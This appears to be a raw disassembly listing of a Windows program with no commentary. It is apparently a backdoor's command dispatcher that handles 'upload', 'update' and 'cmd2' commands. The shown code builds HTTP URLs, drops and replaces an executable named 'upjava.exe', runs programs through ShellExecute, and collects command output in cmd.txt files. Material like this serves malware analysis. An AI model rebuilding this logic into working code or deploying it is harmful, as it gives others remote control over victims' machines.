lea edi, [esp + 0x1964]
mov byte [esp + 0x3e78], 0x3b
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
xor ebx, ebx
push ebx
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 0x3c
call fcn.0042bf10
mov ecx, edi
call fcn.0042b520
mov ecx, esi
mov byte [esp + 0x3e70], 0x38
call fcn.0042b520
xor edi, edi
cmp dword [esp + 0x1aa4], ebx
je 0x42581e
nop
lea eax, [esp + 0x1a90]
call fcn.0042b630
cmp byte [eax], 0x2f
jne 0x425810
lea eax, [esp + 0x1a90]
call fcn.0042b630
mov byte [eax], 0x5c
inc edi
cmp edi, dword [esp + 0x1aa4]
jne 0x4257f0
jmp 0x42581e
xor ebx, ebx
mov eax, dword [esp + 0x1a94]
mov edi, 0x10
cmp dword [esp + 0x1aa8], edi
jae 0x42583a
lea eax, [esp + 0x1a94]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
jne 0x425b73
mov ecx, dword [esp + 0x1aa4]
mov esi, ecx
cmp ecx, ebx
je 0x425892
lea ebx, [ebx]
cmp esi, ecx
jbe 0x425870
call fcn.00435bca
mov ecx, dword [esp + 0x1aa4]
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], edi
jae 0x425887
lea eax, [esp + 0x1a94]
cmp byte [esi + eax], 0x5c
je 0x425892
sub esi, 1
jne 0x425860
inc esi
push esi
xor ecx, ecx
lea esi, [esp + 0x1b74]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov byte [esp + 0x3e70], 0x3d
mov eax, dword [esp + 0x1b84]
xor edi, edi
lea ebp, [edi + 0x10]
cmp eax, ebx
je 0x425964
cmp edi, eax
jbe 0x4258ce
call fcn.00435bca
mov eax, dword [esp + 0x1b74]
cmp dword [esp + 0x1b88], ebp
jae 0x4258e5
lea eax, [esp + 0x1b74]
cmp byte [edi + eax], 0x5c
jne 0x425954
push edi
xor ecx, ecx
lea esi, [esp + 0x1be4]
lea edx, [esp + 0x1b74]
call fcn.0042b6b0
mov eax, dword [esp + 0x1be4]
cmp dword [esp + 0x1bf8], ebp
jae 0x425918
lea eax, [esp + 0x1be4]
push eax
call fcn.00435dfd
add esp, 4
cmp dword [esp + 0x1bf8], ebp
jb 0x42593a
mov edx, dword [esp + 0x1be4]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x1bf8], 0xf
mov dword [esp + 0x1bf4], ebx
mov byte [esp + 0x1be4], 0
mov eax, dword [esp + 0x1b84]
inc edi
cmp edi, eax
jne 0x4258c7
sub esp, 0x1c
mov ecx, esp
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], ebp
jb 0x425982
mov eax, dword [ecx + 4]
jmp 0x425985
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x3e
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], ebp
jb 0x4259b6
mov eax, dword [ecx + 4]
jmp 0x4259b9
lea eax, [ecx + 4]
push 0xffffffffffffffff
mov byte [eax], 0
push ebx
lea eax, [esp + 0x1ad0]
push eax
call fcn.0042bf10
mov ebx, dword [esp + 0x58]
lea ecx, [ebx + 0x26c]
push ecx
mov ecx, str.http:__
lea edi, [esp + 0x168]
mov byte [esp + 0x3eac], 0x3f
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45bc24
lea esi, [esp + 0x14c]
mov byte [esp + 0x3eac], 0x40
call fcn.0042f240
add esp, 4
add ebx, 0x288
push ebx
push eax
lea edi, [esp + 0x7a8]
mov byte [esp + 0x3eb0], 0x41
call fcn.0042f780
push eax
mov edi, 0x45b994
lea esi, [esp + 0x49c]
mov byte [esp + 0x3eb4], 0x42
call fcn.0042f240
sub esp, 0x10
mov byte [esp + 0x3ec4], 0x43
mov edi, esp
lea edx, [esp + 0x1cc0]
mov dword [esp + 0x70], esp
push edx
push eax
call fcn.0042f780
add esp, 8
mov byte [esp + 0x3ec4], 0x47
call fcn.0040c5f0
add esp, 0x54
cmp dword [esp + 0x470], ebp
jb 0x425a91
mov eax, dword [esp + 0x45c]
push eax
call fcn.00434321
add esp, 4
xor edi, edi
mov esi, 0xf
mov dword [esp + 0x470], esi
mov dword [esp + 0x46c], edi
mov byte [esp + 0x45c], 0
cmp dword [esp + 0x780], ebp
jb 0x425ac7
mov ecx, dword [esp + 0x76c]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x780], esi
mov dword [esp + 0x77c], edi
mov byte [esp + 0x76c], 0
cmp dword [esp + 0x128], ebp
jb 0x425af6
mov edx, dword [esp + 0x114]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x128], esi
mov dword [esp + 0x124], edi
mov byte [esp + 0x114], 0
cmp dword [esp + 0x144], ebp
jb 0x425b25
mov eax, dword [esp + 0x130]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x144], esi
mov dword [esp + 0x140], edi
mov byte [esp + 0x130], 0
cmp dword [esp + 0x1b88], ebp
jb 0x425b54
mov ecx, dword [esp + 0x1b74]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x1b84], edi
mov dword [esp + 0x1b88], esi
mov byte [esp + 0x1b74], 0
mov edi, 0x10
xor ebx, ebx
jmp 0x425b78
mov esi, 0xf
mov dword [esp + 0x3e70], 4
cmp dword [esp + 0x1c84], edi
jb 0x425b9c
mov edx, dword [esp + 0x1c70]
push edx
call fcn.00434321
add esp, 4
mov ebp, dword [esp + 0x20]
mov dword [esp + 0x1c84], esi
mov dword [esp + 0x1c80], ebx
mov byte [esp + 0x1c70], 0
mov ecx, str.upload
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x425e8c
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x425e8c
mov ecx, 0x45b404
lea edi, [esp + 0x1ac8]
call fcn.0042f0d0
test al, al
jne 0x425e8c
push 1
xor ecx, ecx
lea esi, [esp + 0x1a08]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x148
or dword [esp + 0x28], 0x10
mov ecx, 0x45bb08
mov edi, eax
call fcn.0042f0d0
test al, al
jne 0x425c8a
push 1
xor ecx, ecx
lea esi, [esp + 0x19d0]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x149
or dword [esp + 0x28], 0x20
mov ecx, 0x45b994
mov edi, eax
call fcn.0042f0d0
test al, al
jne 0x425c8a
lea eax, [esp + 0x1a90]
push eax
mov edx, 0x45bc24
call fcn.0042b690
cmp eax, 0xffffffff
jne 0x425c8a
mov bl, 1
jmp 0x425c8c
xor bl, bl
test byte [esp + 0x28], 0x20
je 0x425ca4
and dword [esp + 0x28], 0xffffffdf
lea ecx, [esp + 0x19cc]
call fcn.0042b520
mov dword [esp + 0x3e70], 4
test byte [esp + 0x28], 0x10
je 0x425cc7
and dword [esp + 0x28], 0xffffffef
lea ecx, [esp + 0x1a04]
call fcn.0042b520
test bl, bl
je 0x425d3e
add ebp, 0x430
push ebp
mov edi, 0x45bb08
lea esi, [esp + 0x1a78]
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x1a90]
push ecx
push eax
lea edi, [esp + 0x1a44]
mov dword [esp + 0x3e78], 0x14a
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
xor ebx, ebx
push ebx
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 0x4b
call fcn.0042bf10
mov ecx, edi
call fcn.0042b520
mov ecx, esi
mov dword [esp + 0x3e70], 4
call fcn.0042b520
jmp 0x425d40
xor ebx, ebx
mov ecx, dword [esp + 0x1aa4]
xor esi, esi
lea edi, [esi + 0x10]
cmp ecx, ebx
je 0x425dad
cmp esi, ecx
jbe 0x425d60
call fcn.00435bca
mov ecx, dword [esp + 0x1aa4]
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], edi
jae 0x425d77
lea eax, [esp + 0x1a94]
cmp byte [esi + eax], 0x2f
jne 0x425da8
cmp esi, ecx
jbe 0x425d86
call fcn.00435bca
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], edi
jae 0x425d9d
lea eax, [esp + 0x1a94]
mov byte [esi + eax], 0x5c
mov ecx, dword [esp + 0x1aa4]
inc esi
cmp esi, ecx
jne 0x425d52
mov eax, dword [esp + 0x1acc]
cmp dword [esp + 0x1ae0], edi
jae 0x425dc4
lea eax, [esp + 0x1acc]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
jne 0x425e8c
sub esp, 0x1c
mov ecx, esp
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], edi
jb 0x425df5
mov eax, dword [ecx + 4]
jmp 0x425df8
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x14c
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], edi
jb 0x425e2c
mov eax, dword [ecx + 4]
jmp 0x425e2f
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x1ad0]
push edx
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x4d
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], edi
jb 0x425e63
mov eax, dword [ecx + 4]
jmp 0x425e66
lea eax, [ecx + 4]
push 0xffffffffffffffff
mov byte [eax], 0
push ebx
lea eax, [esp + 0x1b24]
push eax
call fcn.0042bf10
mov dword [esp + 0x3ec4], 4
call fcn.0040c5f0
add esp, 0x54
mov ecx, str.update
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x426218
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x426218
mov ebp, dword [esp + 0x20]
lea ecx, [ebp + 0x430]
push ecx
mov edi, str.upjava.exe
lea esi, [esp + 0x168]
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push 0
add ebp, 0x414
push eax
mov ecx, ebp
mov dword [esp + 0x3e7c], 0x14e
call fcn.0042bf10
mov ebx, 0x10
mov dword [esp + 0x3e70], 4
cmp dword [esp + 0x17c], ebx
jb 0x425f23
mov edx, dword [esp + 0x168]
push edx
call fcn.00434321
add esp, 4
xor esi, esi
mov edi, 0xf
mov dword [esp + 0x17c], edi
mov dword [esp + 0x178], esi
mov byte [esp + 0x168], 0
cmp dword [ebp + 0x18], ebx
jb 0x425f4a
mov eax, dword [ebp + 4]
jmp 0x425f4d
lea eax, [ebp + 4]
push esi
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x425f72
cmp dword [ebp + 0x18], ebx
jb 0x425f66
mov eax, dword [ebp + 4]
jmp 0x425f69
lea eax, [ebp + 4]
push eax
call fcn.004355bb
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], ebx
jb 0x425f8b
mov eax, dword [ecx + 4]
jmp 0x425f8e
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x14f
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], ebx
jb 0x425fc2
mov eax, dword [ecx + 4]
jmp 0x425fc5
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push ebp
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x50
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], ebx
jb 0x425ff2
mov eax, dword [ecx + 4]
jmp 0x425ff5
lea eax, [ecx + 4]
push 0xffffffffffffffff
mov byte [eax], 0
push esi
lea eax, [esp + 0x1aec]
push eax
call fcn.0042bf10
mov dword [esp + 0x3ec4], 4
call fcn.0040c5f0
add esp, 0x54
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, esi
je 0x42603a
push 0x400
lea ecx, [esp + 0x2668]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x2664]
push edx
lea ecx, [esp + 0x1a0]
call fcn.0042b4b0
push eax
mov ecx, 0x45d6c0
lea edi, [esp + 0x1bc8]
mov dword [esp + 0x3e74], 0x151
call fcn.0042f190
add esp, 4
mov byte [esp + 0x3e70], 0x53
cmp dword [esp + 0x1b4], ebx
jb 0x42608f
mov eax, dword [esp + 0x1a0]
push eax
call fcn.00434321
add esp, 4
sub esp, 0x1c
mov eax, 0xf
mov ecx, esp
mov dword [esp + 0x1d0], eax
mov dword [esp + 0x1cc], esi
mov byte [esp + 0x1bc], 0
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x14], esi
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], ebx
jb 0x4260c3
mov eax, dword [ecx + 4]
jmp 0x4260c6
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push ebp
mov byte [eax], 0
call fcn.0042bf10
call fcn.00403a30
add esp, 0x1c
test al, al
je 0x4261d6
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push ebp
call fcn.0042b4f0
call fcn.00403a70
add esp, 0x1c
test eax, eax
je 0x4261d6
cmp dword [ebp + 0x18], ebx
jb 0x42610b
mov eax, dword [ebp + 4]
jmp 0x42610e
lea eax, [ebp + 4]
push 0x45c940
push eax
call fcn.00435de6
mov esi, eax
add esp, 8
test esi, esi
je 0x4261d6
push 0
push 0x50
push esi
call fcn.00437450
add esp, 0xc
push esi
lea ecx, [esp + 0x40]
push 4
push ecx
call fcn.00435bda
add esp, 0xc
push esi
call fcn.004376a7
add esp, 4
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x1c8c]
call fcn.0042b4b0
push 2
xor ecx, ecx
lea esi, [esp + 0x8dc]
lea edx, [esp + 0x1c8c]
mov byte [esp + 0x3e74], 0x54
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1c94]
mov byte [esp + 0x3e7c], 0x55
call fcn.0042bf10
mov ecx, esi
mov byte [esp + 0x3e70], 0x54
call fcn.0042b520
mov ecx, 0x45d6cc
lea edi, [esp + 0x1c88]
call fcn.0042f0d0
test al, al
jne 0x42633a
mov ecx, 0x45c80c
call fcn.0042f0d0
test al, al
jne 0x42633a
mov ecx, edi
call fcn.0042b520
mov dword [esp + 0x3e70], 4
cmp dword [esp + 0x1bdc], ebx
jb 0x4261fa
mov eax, dword [esp + 0x1bc8]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x1bdc], 0xf
mov dword [esp + 0x1bd8], 0
mov byte [esp + 0x1bc8], 0
mov ecx, str.cmd2
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42664a
mov ebp, dword [esp + 0x20]
push 0xffffffffffffffff
lea eax, [ebp + 0x430]
push 0
push eax
lea ecx, [esp + 0x84]
mov dword [esp + 0x9c], 0xf
mov dword [esp + 0x98], 0
mov byte [esp + 0x88], 0
call fcn.0042bf10
lea ecx, [esp + 0x78]
push ecx
mov edi, str.cmd.txt
lea esi, [esp + 0x1d8]
mov dword [esp + 0x3e74], 0x156
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push 0
add ebp, 0x414
push eax
mov ecx, ebp
mov byte [esp + 0x3e7c], 0x57
call fcn.0042bf10
mov ebx, 0x10
cmp dword [esp + 0x1ec], ebx
jb 0x4262c6
mov edx, dword [esp + 0x1d8]
push edx
call fcn.00434321
add esp, 4
xor esi, esi
mov edi, 0xf
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x1ec], edi
mov dword [esp + 0x1e8], esi
mov byte [esp + 0x1d8], 0
cmp dword [esp + 0x90], ebx
jb 0x426304
mov eax, dword [esp + 0x7c]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x90], edi
mov ecx, 0x45b404
lea edi, [esp + 0x1ae4]
mov dword [esp + 0x8c], esi
mov byte [esp + 0x7c], 0
call fcn.0042f0d0
test al, al
jne 0x42652a
cmp dword [ebp + 0x18], ebx
jb 0x426362
mov eax, dword [ebp + 4]
jmp 0x426365
mov eax, dword [esp + 0x1bc8]
cmp dword [esp + 0x1bdc], ebx
jae 0x426351
lea eax, [esp + 0x1bc8]
cmp dword [ebp + 0x18], ebx
jb 0x422a5f
mov ebp, dword [ebp + 4]
jmp 0x422a62
lea eax, [ebp + 4]
push esi
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x42638a
cmp dword [ebp + 0x18], ebx
jb 0x42637e
mov eax, dword [ebp + 4]
jmp 0x426381
lea eax, [ebp + 4]
push eax
call fcn.004355bb
add esp, 4
lea ecx, [esp + 0x1ae4]
push ecx
mov ecx, 0x45d6e8
lea edi, [esp + 0x280]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45d6e4
lea esi, [esp + 0x248]
mov dword [esp + 0x3e74], 0x158
call fcn.0042f240
add esp, 4
push ebp
push eax
lea edi, [esp + 0x214]
mov byte [esp + 0x3e78], 0x59
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1af0]
mov byte [esp + 0x3e7c], 0x5a
call fcn.0042bf10
cmp dword [esp + 0x224], ebx
jb 0x426411
mov edx, dword [esp + 0x210]
push edx
call fcn.00434321
add esp, 4
xor edi, edi
mov esi, 0xf
mov dword [esp + 0x224], esi
mov dword [esp + 0x220], edi
mov byte [esp + 0x210], 0
cmp dword [esp + 0x25c], ebx
jb 0x426447
mov eax, dword [esp + 0x248]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x25c], esi
mov dword [esp + 0x258], edi
mov byte [esp + 0x248], 0
cmp dword [esp + 0x294], ebx
jb 0x426481
mov ecx, dword [esp + 0x280]
push ecx
call fcn.00434321
add esp, 4
mov eax, dword [esp + 0x1ae8]
mov dword [esp + 0x294], esi
mov dword [esp + 0x290], edi
mov byte [esp + 0x280], 0
cmp dword [esp + 0x1afc], ebx
jae 0x4264ae
lea eax, [esp + 0x1ae8]
push edi
push 0x45b404
push eax
push 0x45cff0
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov edi, edi
cmp dword [ebp + 0x18], ebx
jb 0x4264da
mov eax, dword [ebp + 4]
jmp 0x4264dd
lea eax, [ebp + 4]
push 0
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x426515
cmp dword [ebp + 0x18], ebx
jb 0x4264f7
mov eax, dword [ebp + 4]
jmp 0x4264fa
lea eax, [ebp + 4]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.0042b4b0
call fcn.00403a70
add esp, 0x1c
test eax, eax
jne 0x426521
push 0x64
call edi
inc esi
cmp esi, 0x64
jne 0x4264d0
jmp 0x426528
push 0x3e8
call edi
xor esi, esi
cmp dword [ebp + 0x18], ebx
jb 0x426534
mov eax, dword [ebp + 4]
jmp 0x426537
lea eax, [ebp + 4]
push esi
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x42664a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_cmd.txt
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x15b
mov ecx, esp
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], ebx
jb 0x426586
mov eax, dword [ecx + 4]
jmp 0x426589
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x5c
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], ebx
jb 0x4265ba
mov eax, dword [ecx + 4]
jmp 0x4265bd
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x5d
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], ebx
jb 0x4265f1
mov eax, dword [ecx + 4]
jmp 0x4265f4
lea eax, [ecx + 4]
push 0xffffffffffffffff
push esi
push ebp
mov byte [eax], 0
call fcn.0042bf10
lea edx, [esp + 0x324]
push edx
mov dword [esp + 0x3ee4], 4
call fcn.00410910
add esp, 0x74
cmp dword [esp + 0x2cc], ebx
jb 0x426634
mov eax, dword [esp + 0x2b8]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x2cc], edi
mov dword [esp + 0x2c8], esi
mov byte [esp + 0x2b8], 0
mov ecx, 0x45d6f8
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x426c8b
mov ebp, dword [esp + 0x20]
push 0xffffffffffffffff
push 0
lea ebx, [ebp + 0x430]
push ebx
lea ecx, [esp + 0x4c]
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], 0
mov byte [esp + 0x50], 0
call fcn.0042bf10
lea ecx, [esp + 0x40]
push ecx
mov edi, str.cmd.txt
lea esi, [esp + 0x2f0]
mov dword [esp + 0x3e74], 0x15e
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push 0
add ebp, 0x414
push eax
mov ecx, ebp
mov byte [esp + 0x3e7c], 0x5f
call fcn.0042bf10
cmp dword [esp + 0x304], 0x10
jb 0x4266e8
mov edx, dword [esp + 0x2f0]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x3e70], 4
cmp dword [esp + 0x58], 0x10
mov dword [esp + 0x304], 0xf
mov dword [esp + 0x300], 0
mov byte [esp + 0x2f0], 0
jb 0x426725
mov eax, dword [esp + 0x44]
push eax
call fcn.00434321
add esp, 4
xor ecx, ecx
push 0xffffffffffffffff
push ecx
mov eax, 0xf
mov dword [esp + 0x5c], ecx
mov byte [esp + 0x4c], cl
mov dword [esp + 0x78], ecx
mov byte [esp + 0x68], cl
push ebx
lea ecx, [esp + 0x68]
mov dword [esp + 0x64], eax
mov dword [esp + 0x80], eax
call fcn.0042bf10
lea ecx, [esp + 0x5c]
push ecx
mov edi, str.cmd2.txt
lea esi, [esp + 0x1b3c]
mov dword [esp + 0x3e74], 0x160
call fcn.0042f240
add esp, 4
mov byte [esp + 0x3e70], 0x62
cmp dword [esp + 0x74], 0x10
jb 0x426794
mov edx, dword [esp + 0x60]
push edx
call fcn.00434321
add esp, 4
xor ebx, ebx
mov ecx, 0x45b404
lea edi, [esp + 0x1ae4]
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
call fcn.0042f0d0
test al, al
jne 0x426aea
mov eax, dword [esp + 0x1b3c]
mov esi, 0x10
cmp dword [esp + 0x1b50], esi
jae 0x4267db
lea eax, [esp + 0x1b3c]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x42680a
mov eax, dword [esp + 0x1b3c]
cmp dword [esp + 0x1b50], esi
jae 0x426801
lea eax, [esp + 0x1b3c]
push eax
call fcn.004355bb
add esp, 4
lea eax, [esp + 0x1ae4]
push eax
mov ecx, 0x45d6e8
lea edi, [esp + 0x440]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45d6e4
lea esi, [esp + 0x408]
mov byte [esp + 0x3e74], 0x63
call fcn.0042f240
add esp, 4
push ebp
push eax
lea edi, [esp + 0x3d4]
mov byte [esp + 0x3e78], 0x64
call fcn.0042f780
push eax
mov edi, str.ren
lea esi, [esp + 0x3a0]
mov byte [esp + 0x3e7c], 0x65
call fcn.0042f240
add esp, 0xc
push ebp
push eax
lea edi, [esp + 0x364]
mov byte [esp + 0x3e78], 0x66
call fcn.0042f780
push eax
mov edi, str._cmd2.txt
lea esi, [esp + 0x330]
mov byte [esp + 0x3e7c], 0x67
call fcn.0042f240
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1af0]
mov byte [esp + 0x3e7c], 0x68
call fcn.0042bf10
cmp dword [esp + 0x33c], 0x10
jb 0x4268db
mov ecx, dword [esp + 0x328]
push ecx
call fcn.00434321
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x33c], esi
mov dword [esp + 0x338], ebx
mov byte [esp + 0x328], 0
cmp dword [esp + 0x374], edi
jb 0x426914
mov edx, dword [esp + 0x360]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x374], esi
mov dword [esp + 0x370], ebx
mov byte [esp + 0x360], 0
cmp dword [esp + 0x3ac], edi
jb 0x426943
mov eax, dword [esp + 0x398]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x3ac], esi
mov dword [esp + 0x3a8], ebx
mov byte [esp + 0x398], 0
cmp dword [esp + 0x3e4], edi
jb 0x426972
mov ecx, dword [esp + 0x3d0]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x3e4], esi
mov dword [esp + 0x3e0], ebx
mov byte [esp + 0x3d0], 0
cmp dword [esp + 0x41c], edi
jb 0x4269a1
mov edx, dword [esp + 0x408]
push edx
call fcn.00434321
add esp, 4
mov byte [esp + 0x3e70], 0x62
mov dword [esp + 0x41c], esi
mov dword [esp + 0x418], ebx
mov byte [esp + 0x408], 0
cmp dword [esp + 0x454], edi
jb 0x4269d8
mov eax, dword [esp + 0x440]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x454], esi
mov dword [esp + 0x450], ebx
mov byte [esp + 0x440], 0
mov dword [esp + 0x7f4], 0x3c
mov dword [esp + 0x7f8], 0x40
mov dword [esp + 0x7fc], ebx
mov dword [esp + 0x800], 0x45ce58
mov dword [esp + 0x804], 0x45cff0
cmp dword [esp + 0x1afc], edi
jb 0x426a3a
mov ecx, dword [esp + 0x1ae8]
mov dword [esp + 0x808], ecx
jmp 0x426a48
lea edx, [esp + 0x1ae8]
mov dword [esp + 0x808], edx
lea eax, [esp + 0x7f4]
push eax
mov dword [esp + 0x810], ebx
mov dword [esp + 0x814], ebx
mov dword [esp + 0x818], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x426a85
mov edi, 0x10
mov eax, dword [esp + 0x1b3c]
cmp dword [esp + 0x1b50], edi
jae 0x426a9c
lea eax, [esp + 0x1b3c]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x426add
mov eax, dword [esp + 0x1b3c]
cmp dword [esp + 0x1b50], edi
jae 0x426ac2
lea eax, [esp + 0x1b3c]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.0042b4b0
call fcn.00403a70
add esp, 0x1c
cmp eax, ebx
jne 0x426aea
push 0x64
call ebp
inc esi
cmp esi, 0xc8
jne 0x426a80
mov eax, dword [esp + 0x1b3c]
mov edi, 0x10
cmp dword [esp + 0x1b50], edi
jae 0x426b06
lea eax, [esp + 0x1b3c]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x426c3c
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_cmd.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x69
mov ecx, esp
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], edi
jb 0x426b52
mov eax, dword [ecx + 4]
jmp 0x426b55
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x6a
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], edi
jb 0x426b86
mov eax, dword [ecx + 4]
jmp 0x426b89
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x6b
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], edi
jb 0x426bbd
mov eax, dword [ecx + 4]
jmp 0x426bc0
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x1bb0]
push edx
mov byte [eax], 0
